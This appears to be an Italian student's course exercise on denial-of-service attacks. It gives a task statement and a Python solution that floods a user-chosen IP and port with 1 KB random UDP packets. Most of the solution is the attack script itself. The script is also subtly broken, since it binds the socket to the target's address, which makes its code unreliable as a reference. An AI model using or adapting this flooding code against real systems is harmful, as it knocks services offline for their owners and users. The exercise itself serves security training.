“ESERCIZO ESAME S3L5 “

TRACCIA :

Traccia:

Gli attacchi di tipo Dos, ovvero denial of services, mirano a saturare le richieste di determinati servizi rendendoli così indisponibili con conseguenti impatti sul business delle aziende.

L’esercizio di oggi è scrivere un programma in Python che simuli un **UDP flood**, ovvero l’invio massivo di richieste **UDP** verso una macchina target che è in ascolto su una porta UDP casuale.

Requisiti:

- Il programma deve richiedere l’inserimento dell’IP target.
- Il programma deve richiedere l’inserimento della porta target.
- La grandezza dei pacchetti da inviare è di 1 KB per pacchetto
- Suggerimento: per costruire il pacchetto da 1KB potete utilizzare il modulo «random» per la generazione di byte casuali.
- Il programma deve chiedere all’utente quanti pacchetti da 1 KB inviare.

SVOLGIMENTO :

- CODICE ATTACCO “DOS”

```python
import socket, random


SRV_ADDR = str(input("Inserisci l'IP server : ")) # chiediamo all'utente l'indirizzo IP da attaccare

SRV_PORT = int(input("Inserisci la porta da utilizzare : ")) # chiediamo all'utente la porta da attaccare

server_address=(SRV_ADDR, SRV_PORT) # immettiamo IP e PORTA nella variabile

pacchetto = random.randbytes(1024) # creiamo un pacchetto pari a 1 KB

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # creiamo un socket per il server address # Associamo il socket alla porta e all'indirizzo IP

s.bind(server_address)

num_pacchetti = int(input("Quanti pacchetti vuoi inviare? ")) # chiediamo il numero di pacchetti da inviare

for _ in range (num_pacchetti):
        s.sendto(pacchetto, server_address) # invio del pacchetto da 1 KB

# s.close()

```

P.S. LA SPIEGAZIONE E’ STATA SCRITTA RIGA PER RIGA NEI COMMENTI DEL CODICE DEL PROGRAMMA

- **TRACCIAMENTO DEI PACCHETTI INVIATI DALLA MACCHINA ATTACCANTE “KALI LINUX SU IP “127.0.0.1”**